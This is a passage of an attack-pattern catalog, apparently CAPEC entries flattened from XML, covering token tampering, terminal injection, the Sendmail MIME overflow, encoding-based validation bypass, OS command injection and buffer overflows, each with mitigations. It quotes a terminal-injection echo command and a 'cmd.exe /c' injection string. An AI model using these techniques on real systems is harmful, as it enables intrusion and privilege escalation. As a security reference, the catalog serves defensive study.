For an Attacker to viably execute this attack, some data (later interpreted by the application) must be held client-side in a way that can be manipulated without detection. This means that the data or tokens are not CRCd as part of their value or through a separate meta-data store elsewhere.MediumVery HighModification of ResourcesWith certain price watching websites, that aggregate products available prices, the user can buy items through whichever vendors has product availability, the best price, or other differentiator. Once a user selects an item, the site must broker the purchase of that item with the vendor. Because vendors sell the same product through different channel partners at different prices, token exchange between price watching sites and selling vendors will often contain pricing information. With some price watching sites, manipulating URL-data (which is encrypted) even opaquely yields different prices charged by the fulfilling vendor. If the manipulated price turns out higher, the Attacker can cancel purchase. If the Attacker succeeded in manipulating the token and creating a lower price, he/she proceeds.
Upon successful authentication user is granted an encrypted authentication cookie by the server and it is stored on the client. One piece of information stored in the authentication cookie reflects the access level of the user (e.g. "u" for user). The authentication cookie is encrypted using the Electronic Code Book (ECB) mode, that naively encrypts each of the plaintext blocks to each of the ciphertext blocks separately. An attacker knows the structure of the cookie and can figure out what bits (encrypted) store the information relating to the access level of the user. An attacker modifies the authentication cookie and effectively substitutes "u" for "a" by flipping some of the corresponding bits of ciphertext (trial and error). Once the correct "flip" is found, when the system is accessed, the attacker is granted administrative privileges in the system. Note that in this case an attacker did not have to figure out the exact encryption algorithm or find the secret key, but merely exploit the weakness inherent in using the ECB encryption mode.
Archangel Weblog 0.90.02 allows remote attackers to bypass authentication by setting the ba_admin cookie to 1.
CVE-2006-0944
Medium: If the client site token is obfuscated.
High: If the client site token is encrypted.
The Attacker needs no special hardware-based resources in order to
conduct this attack. Software plugins, such as Tamper Data for Firefox, may help in
manipulating URL- or cookie-based data.
Tamper with the client side data token and observe the effects it has on interaction with the system.
This attack is in and of itself a trial-and-error-based probing technique.One solution to this problem is to protect encrypted data with a CRC of some sort. If knowing who last manipulated the data is important, then using a cryptographic "message authentication code" (or hMAC) is prescribed. However, this guidance is not a panecea. In particular, any value created by (and therefore encrypted by) the client, which itself is a "malicous" value, all the protective cryptography in the world can't make the value 'correct' again. Put simply, if the client has control over the whole process of generating and encoding the value--then simply protecting its integrity doesn't help.
Make sure to protect client side authentication tokens for confidentiality (encryption) and integrity (signed hash)
Make sure that all session tokens use a good source of randomness
Perform validation on the server side to make sure that client side data tokens are consistent with what is expected.
Data ModificationPrivilege EscalationThe context in which this attack can operate is any circumstance in
which important data, stored client-side, is reinterpreted by the client itself or a
server-side component. The server-side component may or may not be the same system that
produced the data (it is not in the given example instance). But, in all cases, the data
stored is protected through some means--such as encryption. However, it's important to
stipulate that the means used to protect this data does not employ an effetive integrity
check.
353Targeted285Secondary302Targeted472Targeted565Targeted315Targeted539Targeted384Secondary233Secondary31More Abstract22More DetailedSensitive information stored client side must be integrity checked upon return before useReluctance to TrustNever Assuming that your Secrets are SafeLeast PrivilegeComplete MediationNever Use Unvalidated Input as Part of a Directive to any Internal ComponentPenetrationExploitationHighHighLowAllAllAllAll
This attack exploits terminal devices that allow themselves to be written to by other users. The attacker sends command strings to the target terminal device hoping that the target user will hit enter and thereby execute the malicious command with their privileges. The attacker can send the results (such as copying /etc/passwd) to a known directory and collect once the attack has succeeded.
User terminals must have a permissive access control such as world writeable that allows normal users to control data on other user's terminals.
Very HighHighInjection
Any system that allows other peers to write directly to its terminal process is vulnerable to this type of attack. If the terminals are available through being overprivileged (i.e. world-writable) or the attacker is an administrator, then a series of commands in this format can be used to echo commands out to victim terminals.
"$echo -e "\033[30m\033\132" >> /dev/ttyXX
where XX is the tty number of the user under attack. This will paste the characters to another terminal (tty). Note this technique works only if the victim's tty is world writable (which it may not be). That is one reason why programs like write(1) and talk(1) in UNIX systems need to run setuid." [Hoglund and McGraw 04]
If the victim continues to hit "enter" and execute the commands, there are an endless supply of vectors available to the attacker, copying files, open up network connections, ftp out to servers, and so on.
Low
Access to a terminal on the target network
Design: Ensure that terminals are only writeable by named owner user and/or administrator
Design: Enforce principle of least privilege
Privilege EscalationInformation LeakageRun Arbitrary Code
Payload delivered through standard user terminal.
Command(s) executed directly on host, in other victim's terminal
Multi-user host
Enables attacker to execute server side code with any commands that the program owner has privileges to.
306Targeted74TargetedExploitationHighHighLowMainframeOtherUNIX-LINUXAll
G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.
This type of attack involves an attacker leveraging meta-characters in email headers to inject improper behavior into email programs.
Email software has become increasingly sophisticated and feature-rich. In addition, email applications are ubiquitous and connected directly to the Web making them ideal targets to launch and propagate attacks. As the user demand for new functionality in email applications grows, they become more like browsers with complex rendering and plug in routines. As more email functionality is included and abstracted from the user, this creates opportunities for attackers. Virtually all email applications do not list email header information by default, however the email header contains valuable attacker vectors for the attacker to exploit particularly if the behavior of the email client application is known. Meta-characters are hidden from the user, but can containt scripts, enumerations, probes, and other attacks against the user's system.
This attack targets most widely deployed feature rich email applications, including web based email programs.
HighHighInjectionAPI Abuse
From:
Headerdef: whatever
]]>Meta-characters are among the most valuable tools attackers have to deceive users into taking some action on their behalf. E-mail is perhaps the most efficient and cost effective attack distribution tool available, this has led to the phishing pandemic.
Meta-characters like \w \s \d ^ can allow the attacker to escape out of the expected behavior to execute additional commands. Escaping out the process (such as email client) lets the attacker run arbitrary code in the user's process.
Low → to distribute email
Design: Perform validation on email header data
Implementation: Implement email filtering solutions on mail server or on MTA, relay server.
Implementation: Mail servers that perform strict validation may catch these attacks, because metacharacters are not allowed in many header variables such as dns names
Run Arbitrary Code
“Attack Pattern: Meta-Characters in E-mail Header
Meta-characters can be supplied in an e-mail header and may be consumed by the client software to interesting effect."
[Hoglund and McGraw 04]
Email
Metacharacters
Email processing routines of Email program
Enables attacker to execute server side code with any commands that the program owner has privileges to.
150Targeted88TargetedPenetrationHighHighHighAllAllAllAll
G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.
An attacker exploits a weakness in the MIME conversion routine to cause a buffer overflow and gain control over the mail server machine. The MIME system is designed to allow various different information formats to be interpreted and sent via e-mail. Attack points exist when data are converted to MIME compatible format and back.
Determine whether the mail server is unpatched and is potentially vulnerable to one of the known MIME conversion buffer overflows (e.g. Sendmail 8.8.3 and 8.8.4).
Identify places in the system where vulnerable MIME conversion routines may be used.
Send e-mail messages to the target system with specially crafted headers that trigger the buffer overflow and execute the shellcode.
The target system uses a mail server.
Mail server vendor has not released a patch for the MIME conversion routine, the patch itself has a security hole or does not fix the original problem, or the patch has not been applied to the user's system.
HighHighInjectionAttack Example: Sendmail Overflow
A MIME conversion buffer overflow exists in Sendmail versions 8.8.3 and 8.8.4. Sendmail versions 8.8.3 and 8.8.4 are vulnerable to a buffer overflow in the MIME handling code. By sending a message with specially-crafted headers to the server, a remote attacker can overflow a buffer and execute arbitrary commands on the system with root privileges.
Sendmail performs a 7 bit to 8 bit conversion on email messages. This vulnerability is due to the fact that insufficient bounds checking was performed while performing these conversions. This gave attacker an opportunity to overwrite the internal stack of sendmail while it is executing with root privileges. An attacker first probes the target system to figure out what mail server is used on the system and what version. An attacker could then test out the exploit at their leisure on their own machine running the same version of the mail server before using it in the wild.
CVE-1999-0047
Low: It may be trivial to cause a DoS via this attack pattern
High: Causing arbitrary code to execute on the target system.
The first step is to figure what mail server (and what version) is running on the target system.
Stay up to date with third party vendor patches
Disable the 7 to 8 bit conversion. This can be done by removing the F=9 flag from all Mailer specifications in the sendmail.cf file.
For example, a sendmail.cf file with these changes applied should look
similar to (depending on your system and configuration):
Mlocal, P=/usr/libexec/mail.local, F=lsDFMAw5:/|@qrmn, S=10/30, R=20/40,
T=DNS/RFC822/X-Unix,
A=mail -d $u
Mprog, P=/bin/sh, F=lsDFMoqeu, S=10/30, R=20/40,
D=$z:/,
T=X-Unix,
A=sh -c $u
This can be achieved for the "Mlocal" and "Mprog" Mailers by modifying
the ".mc" file to include the following lines:
define(`LOCAL_MAILER_FLAGS',
ifdef(`LOCAL_MAILER_FLAGS',
`translit(LOCAL_MAILER_FLAGS, `9')',
`rmn'))
define(`LOCAL_SHELL_FLAGS',
ifdef(`LOCAL_SHELL_FLAGS',
`translit(LOCAL_SHELL_FLAGS, `9')',
`eu'))
and then rebuilding the sendmail.cf file using m4(1).
From "Exploiting Software", please see reference below.
Use the sendmail restricted shell program (smrsh)
Use mail.local
Run Arbitrary CodeData ModificationDenial of ServicePrivilege Escalation
Content-Based Buffer Overflow
Data files are ubiquitous. They are used to store everything from documents to content media and critical computer settings. Every file has an inherent format that often encompasses special information such as file length, media type, and which fonts are boldface, all encoded directly in the data file. The attack vector against data files like these is simple: Mess up the data file and wait for some unsuspecting user to open it.
Some kinds of files are strikingly simple and others have complex binary structures and numerical data embedded in them. Sometimes the simple act of opening a complex file in a hex editor and tweaking a few bytes is enough to cause the (unsuspecting) program that consumes the file to crash and burn.
The especially formated e-mail message whose body is put together in a way as to trigger the MIME conversion buffer overflow in the 7 to 8 bit MIME conversion function.
The shellcode included as part of the e-mail message body that is executed on the target system with root privileges after the stack based buffer overflow in the 7 to 8 bit MIME conversion function is leveraged.
The function performing 7 to 8 bit MIME conversion.
120Targeted119Targeted74Targeted20SecondaryCVE-1999-0047A MIME conversion buffer overflow exists in Sendmail versions 8.8.3 and 8.8.4. Sendmail versions 8.8.3 and 8.8.4 are vulnerable to a buffer overflow in the MIME handling code. By sending a message with specially-crafted headers to the server, a remote attacker can overflow a buffer and execute arbitrary commands on the system with root privileges.
Sendmail performs a 7 bit to 8 bit conversion on email messages. This vulnerability is due to the fact that insufficient bounds checking was performed while performing these conversions. This gave attacker an opportunity to overwrite the internal stack of sendmail while it is executing with root privileges. An attacker first probes the target system to figure out what mail server is used on the system and what version. An attacker could then test out the exploit at their leisure on their own machine running the same version of the mail server before using it in the wild. Failing SecurelyPenetrationExploitationHighHighHighAllAllAllAllG. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.
CERT Advisory CA-1997-05, "MIME Conversion Buffer Overflow in Sendmail Versions 8.8.3 and 8.8.4". Available at: http://www.cert.org/advisories/CA-1997-05.html
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a “layer” of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps.
The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <<parser1>> --> <<input validator>> --> <<parser2>>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
Determine application/system inputs where bypassing input validation is desiredThe attacker first needs to determine all of the application's/system's inputs where input validation is being performed and where he/she wants to bypass it.While using an application/system, the attacker discovers an input where validation is stopping him/her from performing some malicious or unauthorized actions.env-AllWhen provided with unexpected input, application provides an error message stating that the input was invalid or that access was denied.env-AllDetermine which character encodings are accepted by the application/systemThe attacker then needs to provide various character encodings to the application/system and determine which ones are accepted. The attacker will need to observe the application's/system's response to the encoded data to determine whether the data was interpreted properly.Determine which escape characters are accepted by the application/system. A common escape character is the backslash character, '\'env-AllDetermine whether URL encoding is accepted by the application/system.env-AllDetermine whether UTF-8 encoding is accepted by the application/system.env-AllDetermine whether UTF-16 encoding is accepted by the application/system.env-AllDetermine if any other encodings are accepted by the application/system.env-AllSystem provides error message similar to the one it provided when a positivie indicator was received for the first step.env-AllApplication/system accepts at least one high level character encoding where characters can be represented with multiple ASCII characters.Application/system interprets each character separately.Detect and alert on appearance of encodings in log messages (e.g. "Unsuccessful login by <joe")Combine multiple encodings accepted by the application.The attacker now combines encodings accepted by the application. The attacker may combine different encodings or apply the same encoding multiple times.Combine same encoding multiple times and observe its effects. For example, if special characters are encoded with a leading backslash, then the following encoding may be accepted by the application/system: "\\\.". With two parsing layers, this may get converted to "\." after the first parsing layer, and then, to "." after the second. If the input validation layer is between the two parsing layers, then "\\\.\\\." might pass a test for ".." but still get converted to ".." afterwards. This may enable directory traversal attacks.env-AllCombine multiple encodings and observe the effects. For example, the attacker might encode "." as "\.", and then, encode "\." as "\.", and then, encode that using URL encoding to "%26%2392%3B%26%2346%3B"env-AllApplication/System interprets the multiple encodings properly.env-AllAttacker bypasses input validation layer(s) and passes data to application that it does not expect.Ensure that the input validation layer is executed after as many parsing layers as possible.Determine the details of any parsing layers that get executed after the input validation layer (this may be necessary in the case of filesystem access, for example, where the operating system also includes a parsing layer), and ensure that the input validator accounts for the various encodings of illegal characters and character sequences in those layers.Leverage ability to bypass input validationAttacker leverages his ability to bypass input validation to gain unauthorized access to system. There are many attacks possible, and a few examples are mentioned here.Gain access to sensitive files.env-AllPerform command injection.env-AllPerform SQL injection.env-AllPerform XSS attacks.env-AllSuccess outcome in previous stepenv-AllFailure outcome in previous stepenv-AllGaining unauthorized access to system functionality.
User input is used to construct a command to be executed on the target system or as part of the file name.
Multiple parser passes are performed on the data supplied by the user.
HighMediumInjectionModification of Resources
Using Escapes
The backslash character provides a good example of the multiple-parser issue. A backslash is used to escape characters in strings, but is also used to delimit directories on the NT file system. When performing a command injection that includes NT paths, there is usually a need to “double escape”
the backslash. In some cases, a quadruple escape is necessary.
Original String: C:\\\\winnt\\\\system32\\\\cmd.exe /c
<parsing layer>
Interim String: C:\\winnt\\system32\\cmd.exe /c
<parsing layer>
Final String: C:\winnt\system32\cmd.exe /c
This diagram shows each successive layer of parsing translating the backslash character. A double backslash becomes a single as it is parsed. By using quadruple backslashes, the attacker is able to control the result in the final string.
From G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.
Medium
Initially a fuzzer can be used to see what the application is successfully and escaping and what causes problems. This may be a good starting point.
Manually try to introduce multiple layers of control characters and see how many layers the application can escape.
Control characters are being detected by the filters repeatedly.
An iterative approach to input validation may be required to ensure that no dangerous characters are present. It may be necessary to implement redundant checking across different input validation layers. Ensure that invalid data is rejected as soon as possible and do not continue to work with it.
Make sure to perform input validation on canonicalized data (i.e. data that is data in its most standard form). This will help avoid tricky encodings getting past the filters.
Assume all input is malicious. Create a white list that defines all valid input to the software system based on the requirements specifications. Input that does not match against the white list should not be permitted to enter into the system.
Data ModificationPrivilege EscalationInformation Leakage171Targeted179Targeted181Targeted184Targeted183Targeted77Targeted78Targeted74Targeted20TargetedDefense in DepthPenetrationMediumHighHighAllAllAllAllG. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.CWE – Input ValidationAn attacker can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.Identify inputs for OS commandsThe attacker determines user controllable input that gets passed as part of a command to the underlying operating system.Port mapping. Identify ports that the system is listening on, and attempt to identify inputs and protocol types on those ports.env-Local env-CommProtocol env-Peer2Peer env-ClientServerTCP/IP Fingerprinting. The attacker uses various software to make connections or partial connections and observe idiosyncratic responses from the operating system. Using those responses, he attempts to guess the actual operating system.env-Embedded env-ClientServer env-Peer2Peer env-CommProtocol env-WebInduce errors to find informative error messagesenv-AllThe target software accepts connections via the network.env-Web env-CommProtocol env-Peer2Peer env-Embedded env-ClientServerOperating environment (operating system, language, and/or middleware) is correctly identified.Multiple candidate operating environments are suggested.Provide misleading information on TCIP/IP fingerprints (some operating systems can be configured to send signatures that match other operating systems).Provide misleading information at the server level (e.g., Apache, IIS, WebLogic, etc.) to announce a different server software.Some fingerprinting techniques can be detected by operating systems or by network IDS systems because they leave the network connection half-open, or they do not belong to a valid, open connection.Survey the ApplicationThe attacker surveys the target application, possibly as a valid and authenticated userSpidering web sites for all available linksenv-WebInventory all application inputsenv-AllAttacker develops a list of valid inputsenv-AllThe attacker develops a list of likely command delimiters.Monitor velocity of page fetching in web logs. Humans who view a page and select a link from it will click far slower and far less regularly than tools. Tools make requests very quickly and the requests are typically spaced apart regularly (e.g. 0.8 seconds between them).Create links on some pages that are visually hidden from web browsers. Using IFRAMES, images, or other HTML techniques, the links can be hidden from web browsing humans, but visible to spiders and programs. A request for the page, then, becomes a good predictor of an automated tool probing the application.Actively monitor the application and either deny or redirect requests from origins that appear to be automated.Monitor velocity of feature activations (non-web software). Humans who activate features (click buttons, request actions, invoke APIs, etc.) will do so far slower and far less regularly than tools. Tools make requests very quickly and the requests are typically spaced apart regularly (e.g. 0.8 seconds between them).Vary inputs, looking for malicious results.Depending on whether the application being exploited is a remote or local one the attacker crafts the appropriate malicious input, containing OS commands, to be passed to the applicationInject command delimiters using network packet injection tools (netcat, nemesis, etc.)env-CommProtocol env-Web env-Peer2Peer env-ClientServerInject command delimiters using web test frameworks (proxies, TamperData, custom programs, etc.)env-WebInventorying in prior step is successful.env-AllOne or more injections that are appropriate to the platform provokes an unexpected response from the software, which can be varied by the attacker based on the input.Execute malicious commandsThe attacker may steal information, install a back door access mechanism, elevate privileges or compromise the system in some other way.The attacker executes a command that stores sensitive information into a location where he can retrieve it later (perhaps using a different command injection). env-AllThe attacker executes a command that stores sensitive information into a location where he can retrieve it later (perhaps using a different command injection). env-AllThe attacker executes a command that stores sensitive information into a location where he can retrieve it later (perhaps using a different command injection). env-AllThe software performs an action the attacker desires. This might be displaying information, storing a program, executing a command, or some other malicious activity.Make commonly exploited administrative tools log their execution.Make commonly exploited administrative tools non-executable, except when the system is in specific maintenance periods. (i.e., require administrators to specifically enable certain administrative commands prior to performing system maintenance.)User controllable input used as part of commands to the underlying operating system.HighHighThere is high motivation for the attacker to seek out and discover opportunities for this attack due to the power it yields.InjectionAPI Abuse
A transaction processing system relies on code written in a number of languages. To access this functionality, the system passes transaction information on the system command line.
An attacker can gain access to the system command line and execute malicious commands by injecting these commands in the transaction data. If successful, the attacker can steal information, install backdoors and perform other nefarious activities that can compromise the system and its data.
A vulnerability in Mozilla Firefox 1.x browser allows an attacker to execute arbitrary commands on the UNIX/Linux operating system.
The vulnerability is caused due to the shell script used to launch Firefox parsing shell commands that are enclosed within backticks in the URL provided via the command line.
This can be exploited to execute arbitrary shell commands by tricking a user into following a malicious link in an external application which uses Firefox as the default browser (e.g. the mail client Evolution on Red Hat Enterprise Linux 4).
High: The attacker needs to have knowledge of not only the application to exploit but also the exact nature of commands that pertain to the target operating system. This may involve, though not always, knowledge of specific assembly commands for the platform.Use language APIs rather than relying on passing data to the oeprating system shell or command line. Doing so ensures that the available protection mechanisms in the language are intact and applicable.Filter all incoming data to escape or remove characters or strings that can be potentially misinterpreted as operating system or shell commandsAll application processes should be run with the minimal privileges required. Also, processes must shed privileges as soon as they no longer require them.Run Arbitrary CodePrivilege EscalationInformation Leakage
Most modern applications are written using the J2EE or .NET managed platforms. These platforms provide fairly robust mechanism to protect against code inadvertently accessing parts of the underlying system that it should not.
However, two chief factors mitigate against the eradication of OS command injection. The first one relates to the use of native code and libraries. The only way for any managed platform to access this functionality is by calling into the underlying operating system..
The second factor relates to the prevalence of unmanaged code, such as PERL code, used to create application. PERL, for example, is the language of choice when programming using CGI. PERL is unmanaged and allows easy mechanisms for the programmer to call the underlying operating system commands.
This problem is exacerbated by the fact that such calls into the oeprating system are made with far higher privileges than required, thus leading to additional damage.
Since input validation is an art not yet perfected, opportunities abound for attackers to abuse applications and execute commands on the underlying operating system.
User-controllable input used as part of operating system commandsOperating system commands injected by the attacker, intended to escalate privilege or divulge informationUnderlying operating system hosting the exploited application.The injected OS commands are interpreted by the shell, causing them to be executed under the privileges of the process running the exploited application.78Targeted88Secondary20SecondaryLeast PrivilegeReluctance To TrustNever Use Unvalidated Input as Part of a Directive to any Internal ComponentPenetrationExploitationHighHighHighAllAllAllAllSecunia Advisory SA16869: Firefox Command Line URL Shell Command Injection
An attack of this type exploits a buffer overflow vulnerability in the handling of binary resources. Binary resources may includes music files like MP3, image files like JPEG files, and any other binary file. These attacks may pass unnoticed to the client machine through normal usage of files, such as a browser loading a seemingly innocent JPEG file. This can allow the attacker access to the execution stack and execute arbitrary code in the target process. This attack pattern is a variant of standard buffer overflow attacks using an unexpected vector (binary files) to wrap its attack and open up a new attack vector. The attacker is required to either directly serve the binary content to the victim, or place it in a locale like a MP3 sharing application, for the victim to download. The attacker then is notified upon the download or otherwise locates the vulnerability opened up by the buffer overflow.
Target software processes binary resource files.
Target software contains a buffer overflow vulnerability reachable through input from a user-controllable binary resource file.
Very HighHighModification of Resources
Binary files like music and video files are appended with additional data to cause buffer overflow on target systems. Because these files may be filled with otherwise popular content, the attacker has an excellent vector for wide distribution. There have been numerous cases, for example of malicious screen savers for sports teams that are distributed on the event of the team winning a championship.
Medium → to modify file, deceive client into downloading, locate and exploit remote stack or heap vulnerability
Perform appropriate bounds checking on all buffers.
Design: Enforce principle of least privilege
Design: Static code analysis
Implementation: Execute program in less trusted process space environment, do not allow lower integrity processes to write to higher integrity processes
Implementation: Keep software patched to ensure that known vulnerabilities are not available for attackers to target on host.
Denial of ServiceRun Arbitrary Code
“Attack Pattern: Overflow Binary Resource File
The attacker modifies a resource file, such as sound, video, graphic, or font file. Sometimes simply editing the target resource file in a hex editor is possible. The attacker modifies headers and structure data that indicate the length of strings, and so forth."
[Hoglund and McGraw 04]
119Targeted23Similar35SimilarPenetrationExploitationHighHighHighAllAllAllAllCC++
G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.
This type of attack leverages the use of symbolic links to cause buffer overflows. An attacker can try to create or manipulate a symbolic link file such that its contents result in out of bounds data. When the target software processes the symbolic link file, it could potentially overflow internal buffers with insufficient bounds checking.1- The attacker creates or modifies a symbolic link pointing to a resources (e.g., file, directory). The content of the symbolic link file includes out-of-bounds (e.g. excessive length) data.2- The target host consumes the data pointed to by the symbolic link file. The target host may either intentionally expect to read a symbolic link or it may be fooled by the replacement of the original resource and read the attacker's symbolic link.3- While consuming the data, the target host does not check for buffer boundary which can lead to a buffer overflow. If the content of the data is controlled by the attacker, this is an avenue for remote code execution.The attacker can create symbolic link on the target host.The target host does not perform correct boundary checking while consuming data from a ressources.HighHighInjectionModification of ResourcesAttack Example: Overflow with Symbolic Links in EFTP Server
The EFTP server has a buffer overflow that can be exploited if an attacker uploads a .lnk (link) file that contains more than 1,744 bytes. This is a classic example of an indirect buffer overflow. First the attacker uploads some content (the link file) and then the attacker causes the client consuming the data to be exploited. In this example, the ls command is exploited to compromise the server software.
Low : An attacker can simply overflow a buffer by inserting a long string into an attacker-modifiable injection vector. The result can be a DoS.
High : Exploiting a buffer overflow to inject malicious code into the stack of a software system or even the heap can require a higher skill level.The attacker will look for temporary files in the world readable directories. Those temporary files are often created and read by the system.The attacker will look for Symbolic link or link target file that she can overide.An attacker creating or modifying Symbolic links is a potential signal of attack in progress.An attacker deleting temporary files can also be a sign that the attacker is trying to replace legitimate resources with malicious ones.Pay attention to the fact that the ressource you read from can be a replaced by a Symbolic link. You can do a Symlink check before reading the file and decide that this is not a legitimate way of accessing the resource.Because Symlink can be modified by an attacker, make sure that the ones you read are located in protected directories.Pay attention to the resource pointed to by your symlink links (See attack pattern named "Forced Symlink race"), they can be replaced by malicious resources. Always check the size of the input data before copying to a buffer.Use a language or compiler that performs automatic bounds checking.Use an abstraction library to abstract away risky APIs. Not a complete solution.Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution.Use OS-level preventative functionality. Not a complete solution.Denial of ServiceRun Arbitrary CodeInformation LeakageData ModificationContent-Based Buffer Overflow
Data files are ubiquitous. They are used to store everything from documents to content media and critical computer settings. Every file has an inherent format that often encompasses special information such as file length, media type, and which fonts are boldface, all encoded directly in the data file. The attack vector against data files like these is simple: Mess up the data file and wait for some unsuspecting user to open it.
Some kinds of files are strikingly simple and others have complex binary structures and numerical data embedded in them. Sometimes the simple act of opening a complex file in a hex editor and tweaking a few bytes is enough to cause the (unsuspecting) program that consumes the file to crash and burn.
What’s really interesting from an attacker’s point of view is formatting data file-embedded poison pills in such a way that virus code is activated. A great example of this involved the Winamp program in which an overly long IDv3 tag would cause a buffer overflow. In the header of an MP3 file, there is a location where a normal text string can be placed. This is called the IDv3 tag, and if an overly long tag were to be supplied, Winamp would suffer a buffer overflow. This could be used by an attacker to construct malicious music files that attack the computer once they are opened in Winamp.
Access right to the symbolic link:
When a symlink is created there are no rights associated with it (this why you read them with rights lrwxrwxrwx). So
everybody can modify them even if the owner of the Symlink is root and if the user changing the Symbolic link has no right on the link target file. The relevant rights are on the linked target file. To prevent someone from modifying the symlink in the first place, the directory containing it should have limited access rights.
The resource pointed to by the Symbolic link (e.g., file, directory, etc.)The buffer overrun by the attacker.When the function returns control to the main program, it jumps to the return address portion of the stack frame. Unfortunately that return address may have been overwritten by the overflowed buffer and the address may contain a call to a privileged command or to a malicious code.The most common is remote code execution.120Targeted285Secondary302Targeted118Targeted119Targeted74Targeted20TargetedReluctance to trustPenetrationExploitationHighHighHighAllAllAllAllCC++G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.CWE – Buffer ErrorsBuffer Overflow attacks target improper or missing bounds checking on buffer operations, typically triggered by input injected by an attacker. As a consequence, an attacker is able to write past the boundaries of allocated buffer regions in memory, causing a program crash or potentially redirection of execution as per the attacker's choice.The attacker identifies a buffer to target. Buffer regions are either allotted on the stack or the heap, and the exact nature of attack would vary depending on the location of the bufferNext, the attacker identifies an injection vector to deliver the excessive content to the targeted buffer.The attacker crafts the content to be injected. If the intent is to simply cause the software to crash, the content need only consist of an excessive quantity of random data. If the intent is to leverage the overflow for execution of arbitrary code, the attacker will craft a set of content that not only overflows the targeted buffer but does so in such a way that the overwritten return address is replaced with one of the attacker's choosing which points to code injected by the attacker.The attacker injects the content into the targeted software.Upon successful exploitation, the system either crashes or control of the program is returned to a location of the attacker's choice. This can result in execution of arbitrary code or escalated privileges, depending upon the exploited target.Targeted software performs buffer operations.Targeted software inadequately performs bounds-checking on buffer operations.Attacker has the capability to influence the input to buffer operations.Very HighHighInjectionAnalysisThe most straightforward example is an application that reads in input from the user and stores it in an internal buffer but does not check that the size of the input data is less than or equal to the size of the buffer. If the user enters excessive length data, the buffer may overflow leading to the application crashing, or worse, enabling the user to cause execution of injected code.Many web servers enforce security in web applications through the use of filter plugins. An example is the SiteMinder plugin used for authentication. An overflow in such a plugin, possibly through a long URL or redirect parameter, can allow an attacker not only to bypass the security checks but also execute arbitrary code on the target web server in the context of the user that runs the web server process.Low: In most cases, overflowing a buffer does not require advanced skills beyond the ability to notice an overflow and stuff an input variable with content.
High: In cases of directed overflows, where the motive is to divert the flow of the program or application as per the attacker's bidding, high level skills are required. This may involve detailed knowledge of the target system architecture and kernel.None: Detecting and exploiting a buffer overflow does not require any resources beyond knowledge of and access to the target system.The attacker sends in overtly long input in variables under his control. If the target system or application handles it gracefully, the attack becomes difficult. However, an error condition or a system crash point to a high likelihood of successful exploitation.In cases where the attack is directed at a particular system or application, such as an operating system or a web server, the attacker can refer to system architecture and design documentation to figure out the exact point of injection and exploitation.An attack designed to leverage a buffer overflow and redirect execution as per the attacker's bidding is fairly difficult to detect. An attack aimed solely at bringing the system down is usually preceded by a barrage of long inputs that make no sense. In either case, it is likely that the attacker would have resorted to a few hit-or-miss attempts that will be recorded in the system event logs, if they exist.A buffer overflow attack itself is pretty difficult to obfuscate. There, however, exist fairly advanced techniques to ofuscate the payload, in order to bypass an intrusion detection system or filtering, either in the application or by means of an application firewall of some sorts.Use a language or compiler that performs automatic bounds checking.Use secure functions not vulnerable to buffer overflow.If you have to use dangerous functions, make sure that you do boundary checking.Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution.Use OS-level preventative functionality. Not a complete solution.Utilize static source code analysis tools to identify potential buffer overflow weaknesses in the software.Denial of ServiceRun Arbitrary CodePrivilege Escalation
Every program or application is designed to process some inputs received from the user or another system. Buffer overflows abound because programs trust user-controlled input.
A buffer is a region of memory allocated for the purposes of storing certain data values. These can be environment variables, user-suppplied input or temporary scratch space. These regions are allocated on a stack (static allocation) or a heap (dynamic allocation). Although the exact payload used to exploit an overflow in buffers allocated on the stack or heap differ, the general technique is to stuff an input variable with more data than expected.
Managed environments, such as the Java language or the .NET platform enforce strict type and bounds checking. This means that an attempt at a buffer overflow results in a system error. Note that this protection does not make application secure; it makes exploitation of overflow conditions more difficult than in application written in umanaged languages, such as C and C++. For example, the Structured Exception Handling mechanism technically allows an application to perform certain actions before the process is shut down. In case of a buffer overflow, this can be used to close sensitive files or disable certain functionality. However, it is possible to abuse the SEH mechanism as well and execute a successful buffer overflow exploit; only the effort and technical knowledge required are far greater than average. Therefore, it still remains the developer's and designer's prerogative to design a system in such a way that no overflow conditions exist.
User-controllable input. Usually, any input that a user can control is prone to exploitation by overflow.Malicious content, such as an overtly long input string, system shellcode or commands, intended to cause a system crash and denial of service, or to escalate privilege or execute code that results in information disclosure or system compromise.Buffer allocated in memory for the input that carried the payload.Denial of service, escalated privileges, execution of arbitrary code, including system commands and low-level assembly code.120Targeted119Secondary19SecondaryCVE-2007-2139Multiple stack-based buffer overflows in the SUN RPC service in CA (formerly Computer Associates) BrightStor ARCserve Media Server, as used in BrightStor ARCserve Backup 9.01 through 11.5 SP2, BrightStor Enterprise Backup 10.5, Server Protection Suite 2, and Business Protection Suite 2, allow remote attackers to execute arbitrary code via malformed RPC strings.CVE-2007-1910Buffer overflow in wwlib.dll in Microsoft Word 2007 allows remote attackers to cause a denial of service (application crash) and possibly execute arbitrary code via a crafted document8More Abstract9More Abstract10More Abstract24Occasionally Precedes46More Abstract47More AbstractAll user-controllable input must be strictly validated for enforcement of length and semantic checksAll exception conditions (such as ArrayIndexOutOfBounds) in applications must be gracefully handled through use of available exception handling mechanisms.All applications and processes must be run with minimum privileges necessary so as to avoid an escalation of privilege in case of a successful exploit.Reluctance To TrustDefense in DepthFailing SecurelyEnsure that the Bounds of No Memory Region Are ViolatedNever Use Unvalidated Input as Part 